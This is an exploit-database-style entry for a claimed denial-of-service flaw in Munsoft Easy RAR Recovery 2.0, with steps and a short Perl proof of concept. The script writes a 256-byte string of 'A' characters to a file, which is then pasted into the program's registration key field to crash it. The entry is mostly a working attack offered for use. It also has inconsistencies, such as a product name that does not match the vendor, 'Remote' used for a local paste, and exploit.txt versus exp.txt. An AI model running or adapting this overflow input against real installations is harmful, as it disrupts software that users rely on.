# Exploit Title: Mumsoft Easy Software 2.0 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 22 january 2024
#  Vendor Homepage: https://www.munsoft.com/EasyRARRecovery/
# Software Link: https://s3.eu-central-1.amazonaws.com/munsoft-com-de/EasyRARRecovery/download/EasyRARRecovery-2.0-Setup.exe
# Notification vendor: No reported
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Remote - Denial of Service (DoS)

# Steps to Produce the Exploit: 
# 1 - Execute script
# 2 - Copy content exploit.txt
# 3 - Help and paste content exploit.txt to registration key...
# 4 - Denied of Service

#2. Proof of Concept - PoC

#!/usr/bin/perl

my $exploit = "A" x 256;

    open(my $f, '>', 'exp.txt') or die "Cannot open file: $!";
    print "[+] Creating " . length($exploit) . " bytes.\n";
    print $f $exploit;
    close $f;
    print "[+] Exploit file created!\n";